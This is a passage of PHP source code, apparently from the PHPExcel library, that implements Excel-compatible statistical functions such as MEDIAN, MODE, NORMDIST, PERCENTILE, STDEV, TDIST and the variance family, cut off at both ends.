(is_string($arg)) { $arg = 0; } if ((is_null($returnValue)) || ($arg > $returnValue)) { $returnValue = $arg; } } } if (is_null($returnValue)) { return 0; } return $returnValue; } /** * MAXIF * * Counts the maximum value within a range of cells that contain numbers within the list of arguments * * Excel Function: * MAXIF(value1[,value2[, ...]],condition) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @param string $condition The criteria that defines which cells will be checked. * @return float */ public static function MAXIF($aArgs, $condition, $sumArgs = array()) { $returnValue = null; $aArgs = PHPExcel_Calculation_Functions::flattenArray($aArgs); $sumArgs = PHPExcel_Calculation_Functions::flattenArray($sumArgs); if (empty($sumArgs)) { $sumArgs = $aArgs; } $condition = PHPExcel_Calculation_Functions::ifCondition($condition); // Loop through arguments foreach ($aArgs as $key => $arg) { if (!is_numeric($arg)) { $arg = PHPExcel_Calculation::wrapResult(strtoupper($arg)); } $testCondition = '='.$arg.$condition; if (PHPExcel_Calculation::getInstance()->_calculateFormulaValue($testCondition)) { if ((is_null($returnValue)) || ($arg > $returnValue)) { $returnValue = $arg; } } } return $returnValue; } /** * MEDIAN * * Returns the median of the given numbers. The median is the number in the middle of a set of numbers. * * Excel Function: * MEDIAN(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function MEDIAN() { $returnValue = PHPExcel_Calculation_Functions::NaN(); $mArgs = array(); // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $mArgs[] = $arg; } } $mValueCount = count($mArgs); if ($mValueCount > 0) { sort($mArgs, SORT_NUMERIC); $mValueCount = $mValueCount / 2; if ($mValueCount == floor($mValueCount)) { $returnValue = ($mArgs[$mValueCount--] + $mArgs[$mValueCount]) / 2; } else { $mValueCount = floor($mValueCount); $returnValue = $mArgs[$mValueCount]; } } return $returnValue; } /** * MIN * * MIN returns the value of the element of the values passed that has the smallest value, * with negative numbers considered smaller than positive numbers. * * Excel Function: * MIN(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function MIN() { $returnValue = null; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if ((is_null($returnValue)) || ($arg < $returnValue)) { $returnValue = $arg; } } } if (is_null($returnValue)) { return 0; } return $returnValue; } /** * MINA * * Returns the smallest value in a list of arguments, including numbers, text, and logical values * * Excel Function: * MINA(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function MINA() { $returnValue = null; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) && ($arg != '')))) { if (is_bool($arg)) { $arg = (integer) $arg; } elseif (is_string($arg)) { $arg = 0; } if ((is_null($returnValue)) || ($arg < $returnValue)) { $returnValue = $arg; } } } if (is_null($returnValue)) { return 0; } return $returnValue; } /** * MINIF * * Returns the minimum value within a range of cells that contain numbers within the list of arguments * * Excel Function: * MINIF(value1[,value2[, ...]],condition) * * @access public * @category Mathematical and Trigonometric Functions * @param mixed $arg,... Data values * @param string $condition The criteria that defines which cells will be checked. * @return float */ public static function MINIF($aArgs, $condition, $sumArgs = array()) { $returnValue = null; $aArgs = PHPExcel_Calculation_Functions::flattenArray($aArgs); $sumArgs = PHPExcel_Calculation_Functions::flattenArray($sumArgs); if (empty($sumArgs)) { $sumArgs = $aArgs; } $condition = PHPExcel_Calculation_Functions::ifCondition($condition); // Loop through arguments foreach ($aArgs as $key => $arg) { if (!is_numeric($arg)) { $arg = PHPExcel_Calculation::wrapResult(strtoupper($arg)); } $testCondition = '='.$arg.$condition; if (PHPExcel_Calculation::getInstance()->_calculateFormulaValue($testCondition)) { if ((is_null($returnValue)) || ($arg < $returnValue)) { $returnValue = $arg; } } } return $returnValue; } // // Special variant of array_count_values that isn't limited to strings and integers, // but can work with floating point numbers as values // private static function modeCalc($data) { $frequencyArray = array(); foreach ($data as $datum) { $found = false; foreach ($frequencyArray as $key => $value) { if ((string) $value['value'] == (string) $datum) { ++$frequencyArray[$key]['frequency']; $found = true; break; } } if (!$found) { $frequencyArray[] = array( 'value' => $datum, 'frequency' => 1 ); } } foreach ($frequencyArray as $key => $value) { $frequencyList[$key] = $value['frequency']; $valueList[$key] = $value['value']; } array_multisort($frequencyList, SORT_DESC, $valueList, SORT_ASC, SORT_NUMERIC, $frequencyArray); if ($frequencyArray[0]['frequency'] == 1) { return PHPExcel_Calculation_Functions::NA(); } return $frequencyArray[0]['value']; } /** * MODE * * Returns the most frequently occurring, or repetitive, value in an array or range of data * * Excel Function: * MODE(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function MODE() { $returnValue = PHPExcel_Calculation_Functions::NA(); // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); $mArgs = array(); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $mArgs[] = $arg; } } if (!empty($mArgs)) { return self::modeCalc($mArgs); } return $returnValue; } /** * NEGBINOMDIST * * Returns the negative binomial distribution. NEGBINOMDIST returns the probability that * there will be number_f failures before the number_s-th success, when the constant * probability of a success is probability_s. This function is similar to the binomial * distribution, except that the number of successes is fixed, and the number of trials is * variable. Like the binomial, trials are assumed to be independent. * * @param float $failures Number of Failures * @param float $successes Threshold number of Successes * @param float $probability Probability of success on each trial * @return float * */ public static function NEGBINOMDIST($failures, $successes, $probability) { $failures = floor(PHPExcel_Calculation_Functions::flattenSingleValue($failures)); $successes = floor(PHPExcel_Calculation_Functions::flattenSingleValue($successes)); $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); if ((is_numeric($failures)) && (is_numeric($successes)) && (is_numeric($probability))) { if (($failures < 0) || ($successes < 1)) { return PHPExcel_Calculation_Functions::NaN(); } elseif (($probability < 0) || ($probability > 1)) { return PHPExcel_Calculation_Functions::NaN(); } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_GNUMERIC) { if (($failures + $successes - 1) <= 0) { return PHPExcel_Calculation_Functions::NaN(); } } return (PHPExcel_Calculation_MathTrig::COMBIN($failures + $successes - 1, $successes - 1)) * (pow($probability, $successes)) * (pow(1 - $probability, $failures)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * NORMDIST * * Returns the normal distribution for the specified mean and standard deviation. This * function has a very wide range of applications in statistics, including hypothesis * testing. * * @param float $value * @param float $mean Mean Value * @param float $stdDev Standard Deviation * @param boolean $cumulative * @return float * */ public static function NORMDIST($value, $mean, $stdDev, $cumulative) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $mean = PHPExcel_Calculation_Functions::flattenSingleValue($mean); $stdDev = PHPExcel_Calculation_Functions::flattenSingleValue($stdDev); if ((is_numeric($value)) && (is_numeric($mean)) && (is_numeric($stdDev))) { if ($stdDev < 0) { return PHPExcel_Calculation_Functions::NaN(); } if ((is_numeric($cumulative)) || (is_bool($cumulative))) { if ($cumulative) { return 0.5 * (1 + PHPExcel_Calculation_Engineering::erfVal(($value - $mean) / ($stdDev * sqrt(2)))); } else { return (1 / (SQRT2PI * $stdDev)) * exp(0 - (pow($value - $mean, 2) / (2 * ($stdDev * $stdDev)))); } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * NORMINV * * Returns the inverse of the normal cumulative distribution for the specified mean and standard deviation. * * @param float $value * @param float $mean Mean Value * @param float $stdDev Standard Deviation * @return float * */ public static function NORMINV($probability, $mean, $stdDev) { $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); $mean = PHPExcel_Calculation_Functions::flattenSingleValue($mean); $stdDev = PHPExcel_Calculation_Functions::flattenSingleValue($stdDev); if ((is_numeric($probability)) && (is_numeric($mean)) && (is_numeric($stdDev))) { if (($probability < 0) || ($probability > 1)) { return PHPExcel_Calculation_Functions::NaN(); } if ($stdDev < 0) { return PHPExcel_Calculation_Functions::NaN(); } return (self::inverseNcdf($probability) * $stdDev) + $mean; } return PHPExcel_Calculation_Functions::VALUE(); } /** * NORMSDIST * * Returns the standard normal cumulative distribution function. The distribution has * a mean of 0 (zero) and a standard deviation of one. Use this function in place of a * table of standard normal curve areas. * * @param float $value * @return float */ public static function NORMSDIST($value) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); return self::NORMDIST($value, 0, 1, true); } /** * NORMSINV * * Returns the inverse of the standard normal cumulative distribution * * @param float $value * @return float */ public static function NORMSINV($value) { return self::NORMINV($value, 0, 1); } /** * PERCENTILE * * Returns the nth percentile of values in a range.. * * Excel Function: * PERCENTILE(value1[,value2[, ...]],entry) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @param float $entry Percentile value in the range 0..1, inclusive. * @return float */ public static function PERCENTILE() { $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); // Calculate $entry = array_pop($aArgs); if ((is_numeric($entry)) && (!is_string($entry))) { if (($entry < 0) || ($entry > 1)) { return PHPExcel_Calculation_Functions::NaN(); } $mArgs = array(); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $mArgs[] = $arg; } } $mValueCount = count($mArgs); if ($mValueCount > 0) { sort($mArgs); $count = self::COUNT($mArgs); $index = $entry * ($count-1); $iBase = floor($index); if ($index == $iBase) { return $mArgs[$index]; } else { $iNext = $iBase + 1; $iProportion = $index - $iBase; return $mArgs[$iBase] + (($mArgs[$iNext] - $mArgs[$iBase]) * $iProportion) ; } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * PERCENTRANK * * Returns the rank of a value in a data set as a percentage of the data set. * * @param array of number An array of, or a reference to, a list of numbers. * @param number The number whose rank you want to find. * @param number The number of significant digits for the returned percentage value. * @return float */ public static function PERCENTRANK($valueSet, $value, $significance = 3) { $valueSet = PHPExcel_Calculation_Functions::flattenArray($valueSet); $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $significance = (is_null($significance)) ? 3 : (integer) PHPExcel_Calculation_Functions::flattenSingleValue($significance); foreach ($valueSet as $key => $valueEntry) { if (!is_numeric($valueEntry)) { unset($valueSet[$key]); } } sort($valueSet, SORT_NUMERIC); $valueCount = count($valueSet); if ($valueCount == 0) { return PHPExcel_Calculation_Functions::NaN(); } $valueAdjustor = $valueCount - 1; if (($value < $valueSet[0]) || ($value > $valueSet[$valueAdjustor])) { return PHPExcel_Calculation_Functions::NA(); } $pos = array_search($value, $valueSet); if ($pos === false) { $pos = 0; $testValue = $valueSet[0]; while ($testValue < $value) { $testValue = $valueSet[++$pos]; } --$pos; $pos += (($value - $valueSet[$pos]) / ($testValue - $valueSet[$pos])); } return round($pos / $valueAdjustor, $significance); } /** * PERMUT * * Returns the number of permutations for a given number of objects that can be * selected from number objects. A permutation is any set or subset of objects or * events where internal order is significant. Permutations are different from * combinations, for which the internal order is not significant. Use this function * for lottery-style probability calculations. * * @param int $numObjs Number of different objects * @param int $numInSet Number of objects in each permutation * @return int Number of permutations */ public static function PERMUT($numObjs, $numInSet) { $numObjs = PHPExcel_Calculation_Functions::flattenSingleValue($numObjs); $numInSet = PHPExcel_Calculation_Functions::flattenSingleValue($numInSet); if ((is_numeric($numObjs)) && (is_numeric($numInSet))) { $numInSet = floor($numInSet); if ($numObjs < $numInSet) { return PHPExcel_Calculation_Functions::NaN(); } return round(PHPExcel_Calculation_MathTrig::FACT($numObjs) / PHPExcel_Calculation_MathTrig::FACT($numObjs - $numInSet)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * POISSON * * Returns the Poisson distribution. A common application of the Poisson distribution * is predicting the number of events over a specific time, such as the number of * cars arriving at a toll plaza in 1 minute. * * @param float $value * @param float $mean Mean Value * @param boolean $cumulative * @return float * */ public static function POISSON($value, $mean, $cumulative) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $mean = PHPExcel_Calculation_Functions::flattenSingleValue($mean); if ((is_numeric($value)) && (is_numeric($mean))) { if (($value < 0) || ($mean <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } if ((is_numeric($cumulative)) || (is_bool($cumulative))) { if ($cumulative) { $summer = 0; for ($i = 0; $i <= floor($value); ++$i) { $summer += pow($mean, $i) / PHPExcel_Calculation_MathTrig::FACT($i); } return exp(0-$mean) * $summer; } else { return (exp(0-$mean) * pow($mean, $value)) / PHPExcel_Calculation_MathTrig::FACT($value); } } } return PHPExcel_Calculation_Functions::VALUE(); } /** * QUARTILE * * Returns the quartile of a data set. * * Excel Function: * QUARTILE(value1[,value2[, ...]],entry) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @param int $entry Quartile value in the range 1..3, inclusive. * @return float */ public static function QUARTILE() { $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); // Calculate $entry = floor(array_pop($aArgs)); if ((is_numeric($entry)) && (!is_string($entry))) { $entry /= 4; if (($entry < 0) || ($entry > 1)) { return PHPExcel_Calculation_Functions::NaN(); } return self::PERCENTILE($aArgs, $entry); } return PHPExcel_Calculation_Functions::VALUE(); } /** * RANK * * Returns the rank of a number in a list of numbers. * * @param number The number whose rank you want to find. * @param array of number An array of, or a reference to, a list of numbers. * @param mixed Order to sort the values in the value set * @return float */ public static function RANK($value, $valueSet, $order = 0) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $valueSet = PHPExcel_Calculation_Functions::flattenArray($valueSet); $order = (is_null($order)) ? 0 : (integer) PHPExcel_Calculation_Functions::flattenSingleValue($order); foreach ($valueSet as $key => $valueEntry) { if (!is_numeric($valueEntry)) { unset($valueSet[$key]); } } if ($order == 0) { rsort($valueSet, SORT_NUMERIC); } else { sort($valueSet, SORT_NUMERIC); } $pos = array_search($value, $valueSet); if ($pos === false) { return PHPExcel_Calculation_Functions::NA(); } return ++$pos; } /** * RSQ * * Returns the square of the Pearson product moment correlation coefficient through data points in known_y's and known_x's. * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @return float */ public static function RSQ($yValues, $xValues) { if (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return PHPExcel_Calculation_Functions::DIV0(); } $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getGoodnessOfFit(); } /** * SKEW * * Returns the skewness of a distribution. Skewness characterizes the degree of asymmetry * of a distribution around its mean. Positive skewness indicates a distribution with an * asymmetric tail extending toward more positive values. Negative skewness indicates a * distribution with an asymmetric tail extending toward more negative values. * * @param array Data Series * @return float */ public static function SKEW() { $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); $mean = self::AVERAGE($aArgs); $stdDev = self::STDEV($aArgs); $count = $summer = 0; // Loop through arguments foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && (!PHPExcel_Calculation_Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $summer += pow((($arg - $mean) / $stdDev), 3); ++$count; } } } if ($count > 2) { return $summer * ($count / (($count-1) * ($count-2))); } return PHPExcel_Calculation_Functions::DIV0(); } /** * SLOPE * * Returns the slope of the linear regression line through data points in known_y's and known_x's. * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @return float */ public static function SLOPE($yValues, $xValues) { if (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return PHPExcel_Calculation_Functions::DIV0(); } $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getSlope(); } /** * SMALL * * Returns the nth smallest value in a data set. You can use this function to * select a value based on its relative standing. * * Excel Function: * SMALL(value1[,value2[, ...]],entry) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @param int $entry Position (ordered from the smallest) in the array or range of data to return * @return float */ public static function SMALL() { $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); // Calculate $entry = array_pop($aArgs); if ((is_numeric($entry)) && (!is_string($entry))) { $mArgs = array(); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $mArgs[] = $arg; } } $count = self::COUNT($mArgs); $entry = floor(--$entry); if (($entry < 0) || ($entry >= $count) || ($count == 0)) { return PHPExcel_Calculation_Functions::NaN(); } sort($mArgs); return $mArgs[$entry]; } return PHPExcel_Calculation_Functions::VALUE(); } /** * STANDARDIZE * * Returns a normalized value from a distribution characterized by mean and standard_dev. * * @param float $value Value to normalize * @param float $mean Mean Value * @param float $stdDev Standard Deviation * @return float Standardized value */ public static function STANDARDIZE($value, $mean, $stdDev) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $mean = PHPExcel_Calculation_Functions::flattenSingleValue($mean); $stdDev = PHPExcel_Calculation_Functions::flattenSingleValue($stdDev); if ((is_numeric($value)) && (is_numeric($mean)) && (is_numeric($stdDev))) { if ($stdDev <= 0) { return PHPExcel_Calculation_Functions::NaN(); } return ($value - $mean) / $stdDev ; } return PHPExcel_Calculation_Functions::VALUE(); } /** * STDEV * * Estimates standard deviation based on a sample. The standard deviation is a measure of how * widely values are dispersed from the average value (the mean). * * Excel Function: * STDEV(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function STDEV() { $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); // Return value $returnValue = null; $aMean = self::AVERAGE($aArgs); if (!is_null($aMean)) { $aCount = -1; foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && ((!PHPExcel_Calculation_Functions::isCellValue($k)) || (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE))) { $arg = (integer) $arg; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if (is_null($returnValue)) { $returnValue = pow(($arg - $aMean), 2); } else { $returnValue += pow(($arg - $aMean), 2); } ++$aCount; } } // Return if (($aCount > 0) && ($returnValue >= 0)) { return sqrt($returnValue / $aCount); } } return PHPExcel_Calculation_Functions::DIV0(); } /** * STDEVA * * Estimates standard deviation based on a sample, including numbers, text, and logical values * * Excel Function: * STDEVA(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function STDEVA() { $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); $returnValue = null; $aMean = self::AVERAGEA($aArgs); if (!is_null($aMean)) { $aCount = -1; foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && (!PHPExcel_Calculation_Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) & ($arg != '')))) { if (is_bool($arg)) { $arg = (integer) $arg; } elseif (is_string($arg)) { $arg = 0; } if (is_null($returnValue)) { $returnValue = pow(($arg - $aMean), 2); } else { $returnValue += pow(($arg - $aMean), 2); } ++$aCount; } } } if (($aCount > 0) && ($returnValue >= 0)) { return sqrt($returnValue / $aCount); } } return PHPExcel_Calculation_Functions::DIV0(); } /** * STDEVP * * Calculates standard deviation based on the entire population * * Excel Function: * STDEVP(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function STDEVP() { $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); $returnValue = null; $aMean = self::AVERAGE($aArgs); if (!is_null($aMean)) { $aCount = 0; foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && ((!PHPExcel_Calculation_Functions::isCellValue($k)) || (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE))) { $arg = (integer) $arg; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { if (is_null($returnValue)) { $returnValue = pow(($arg - $aMean), 2); } else { $returnValue += pow(($arg - $aMean), 2); } ++$aCount; } } if (($aCount > 0) && ($returnValue >= 0)) { return sqrt($returnValue / $aCount); } } return PHPExcel_Calculation_Functions::DIV0(); } /** * STDEVPA * * Calculates standard deviation based on the entire population, including numbers, text, and logical values * * Excel Function: * STDEVPA(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function STDEVPA() { $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); $returnValue = null; $aMean = self::AVERAGEA($aArgs); if (!is_null($aMean)) { $aCount = 0; foreach ($aArgs as $k => $arg) { if ((is_bool($arg)) && (!PHPExcel_Calculation_Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) & ($arg != '')))) { if (is_bool($arg)) { $arg = (integer) $arg; } elseif (is_string($arg)) { $arg = 0; } if (is_null($returnValue)) { $returnValue = pow(($arg - $aMean), 2); } else { $returnValue += pow(($arg - $aMean), 2); } ++$aCount; } } } if (($aCount > 0) && ($returnValue >= 0)) { return sqrt($returnValue / $aCount); } } return PHPExcel_Calculation_Functions::DIV0(); } /** * STEYX * * Returns the standard error of the predicted y-value for each x in the regression. * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @return float */ public static function STEYX($yValues, $xValues) { if (!self::checkTrendArrays($yValues, $xValues)) { return PHPExcel_Calculation_Functions::VALUE(); } $yValueCount = count($yValues); $xValueCount = count($xValues); if (($yValueCount == 0) || ($yValueCount != $xValueCount)) { return PHPExcel_Calculation_Functions::NA(); } elseif ($yValueCount == 1) { return PHPExcel_Calculation_Functions::DIV0(); } $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues); return $bestFitLinear->getStdevOfResiduals(); } /** * TDIST * * Returns the probability of Student's T distribution. * * @param float $value Value for the function * @param float $degrees degrees of freedom * @param float $tails number of tails (1 or 2) * @return float */ public static function TDIST($value, $degrees, $tails) { $value = PHPExcel_Calculation_Functions::flattenSingleValue($value); $degrees = floor(PHPExcel_Calculation_Functions::flattenSingleValue($degrees)); $tails = floor(PHPExcel_Calculation_Functions::flattenSingleValue($tails)); if ((is_numeric($value)) && (is_numeric($degrees)) && (is_numeric($tails))) { if (($value < 0) || ($degrees < 1) || ($tails < 1) || ($tails > 2)) { return PHPExcel_Calculation_Functions::NaN(); } // tdist, which finds the probability that corresponds to a given value // of t with k degrees of freedom. This algorithm is translated from a // pascal function on p81 of "Statistical Computing in Pascal" by D // Cooke, A H Craven & G M Clark (1985: Edward Arnold (Pubs.) Ltd: // London). The above Pascal algorithm is itself a translation of the // fortran algoritm "AS 3" by B E Cooper of the Atlas Computer // Laboratory as reported in (among other places) "Applied Statistics // Algorithms", editied by P Griffiths and I D Hill (1985; Ellis // Horwood Ltd.; W. Sussex, England). $tterm = $degrees; $ttheta = atan2($value, sqrt($tterm)); $tc = cos($ttheta); $ts = sin($ttheta); $tsum = 0; if (($degrees % 2) == 1) { $ti = 3; $tterm = $tc; } else { $ti = 2; $tterm = 1; } $tsum = $tterm; while ($ti < $degrees) { $tterm *= $tc * $tc * ($ti - 1) / $ti; $tsum += $tterm; $ti += 2; } $tsum *= $ts; if (($degrees % 2) == 1) { $tsum = M_2DIVPI * ($tsum + $ttheta); } $tValue = 0.5 * (1 + $tsum); if ($tails == 1) { return 1 - abs($tValue); } else { return 1 - abs((1 - $tValue) - $tValue); } } return PHPExcel_Calculation_Functions::VALUE(); } /** * TINV * * Returns the one-tailed probability of the chi-squared distribution. * * @param float $probability Probability for the function * @param float $degrees degrees of freedom * @return float */ public static function TINV($probability, $degrees) { $probability = PHPExcel_Calculation_Functions::flattenSingleValue($probability); $degrees = floor(PHPExcel_Calculation_Functions::flattenSingleValue($degrees)); if ((is_numeric($probability)) && (is_numeric($degrees))) { $xLo = 100; $xHi = 0; $x = $xNew = 1; $dx = 1; $i = 0; while ((abs($dx) > PRECISION) && ($i++ < MAX_ITERATIONS)) { // Apply Newton-Raphson step $result = self::TDIST($x, $degrees, 2); $error = $result - $probability; if ($error == 0.0) { $dx = 0; } elseif ($error < 0.0) { $xLo = $x; } else { $xHi = $x; } // Avoid division by zero if ($result != 0.0) { $dx = $error / $result; $xNew = $x - $dx; } // If the NR fails to converge (which for example may be the // case if the initial guess is too rough) we apply a bisection // step to determine a more narrow interval around the root. if (($xNew < $xLo) || ($xNew > $xHi) || ($result == 0.0)) { $xNew = ($xLo + $xHi) / 2; $dx = $xNew - $x; } $x = $xNew; } if ($i == MAX_ITERATIONS) { return PHPExcel_Calculation_Functions::NA(); } return round($x, 12); } return PHPExcel_Calculation_Functions::VALUE(); } /** * TREND * * Returns values along a linear trend * * @param array of mixed Data Series Y * @param array of mixed Data Series X * @param array of mixed Values of X for which we want to find Y * @param boolean A logical value specifying whether to force the intersect to equal 0. * @return array of float */ public static function TREND($yValues, $xValues = array(), $newValues = array(), $const = true) { $yValues = PHPExcel_Calculation_Functions::flattenArray($yValues); $xValues = PHPExcel_Calculation_Functions::flattenArray($xValues); $newValues = PHPExcel_Calculation_Functions::flattenArray($newValues); $const = (is_null($const)) ? true : (boolean) PHPExcel_Calculation_Functions::flattenSingleValue($const); $bestFitLinear = trendClass::calculate(trendClass::TREND_LINEAR, $yValues, $xValues, $const); if (empty($newValues)) { $newValues = $bestFitLinear->getXValues(); } $returnArray = array(); foreach ($newValues as $xValue) { $returnArray[0][] = $bestFitLinear->getValueOfYForX($xValue); } return $returnArray; } /** * TRIMMEAN * * Returns the mean of the interior of a data set. TRIMMEAN calculates the mean * taken by excluding a percentage of data points from the top and bottom tails * of a data set. * * Excel Function: * TRIMEAN(value1[,value2[, ...]], $discard) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @param float $discard Percentage to discard * @return float */ public static function TRIMMEAN() { $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); // Calculate $percent = array_pop($aArgs); if ((is_numeric($percent)) && (!is_string($percent))) { if (($percent < 0) || ($percent > 1)) { return PHPExcel_Calculation_Functions::NaN(); } $mArgs = array(); foreach ($aArgs as $arg) { // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $mArgs[] = $arg; } } $discard = floor(self::COUNT($mArgs) * $percent / 2); sort($mArgs); for ($i=0; $i < $discard; ++$i) { array_pop($mArgs); array_shift($mArgs); } return self::AVERAGE($mArgs); } return PHPExcel_Calculation_Functions::VALUE(); } /** * VARFunc * * Estimates variance based on a sample. * * Excel Function: * VAR(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function VARFunc() { $returnValue = PHPExcel_Calculation_Functions::DIV0(); $summerA = $summerB = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); $aCount = 0; foreach ($aArgs as $arg) { if (is_bool($arg)) { $arg = (integer) $arg; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $summerA += ($arg * $arg); $summerB += $arg; ++$aCount; } } if ($aCount > 1) { $summerA *= $aCount; $summerB *= $summerB; $returnValue = ($summerA - $summerB) / ($aCount * ($aCount - 1)); } return $returnValue; } /** * VARA * * Estimates variance based on a sample, including numbers, text, and logical values * * Excel Function: * VARA(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function VARA() { $returnValue = PHPExcel_Calculation_Functions::DIV0(); $summerA = $summerB = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArrayIndexed(func_get_args()); $aCount = 0; foreach ($aArgs as $k => $arg) { if ((is_string($arg)) && (PHPExcel_Calculation_Functions::isValue($k))) { return PHPExcel_Calculation_Functions::VALUE(); } elseif ((is_string($arg)) && (!PHPExcel_Calculation_Functions::isMatrixValue($k))) { } else { // Is it a numeric value? if ((is_numeric($arg)) || (is_bool($arg)) || ((is_string($arg) & ($arg != '')))) { if (is_bool($arg)) { $arg = (integer) $arg; } elseif (is_string($arg)) { $arg = 0; } $summerA += ($arg * $arg); $summerB += $arg; ++$aCount; } } } if ($aCount > 1) { $summerA *= $aCount; $summerB *= $summerB; $returnValue = ($summerA - $summerB) / ($aCount * ($aCount - 1)); } return $returnValue; } /** * VARP * * Calculates variance based on the entire population * * Excel Function: * VARP(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function VARP() { // Return value $returnValue = PHPExcel_Calculation_Functions::DIV0(); $summerA = $summerB = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); $aCount = 0; foreach ($aArgs as $arg) { if (is_bool($arg)) { $arg = (integer) $arg; } // Is it a numeric value? if ((is_numeric($arg)) && (!is_string($arg))) { $summerA += ($arg * $arg); $summerB += $arg; ++$aCount; } } if ($aCount > 0) { $summerA *= $aCount; $summerB *= $summerB; $returnValue = ($summerA - $summerB) / ($aCount * $aCount); } return $returnValue; } /** * VARPA * * Calculates variance based on the entire population, including numbers, text, and logical values * * Excel Function: * VARPA(value1[,value2[, ...]]) * * @access public * @category Statistical Functions * @param mixed $arg,... Data values * @return float */ public static function VARPA() { $returnValue = 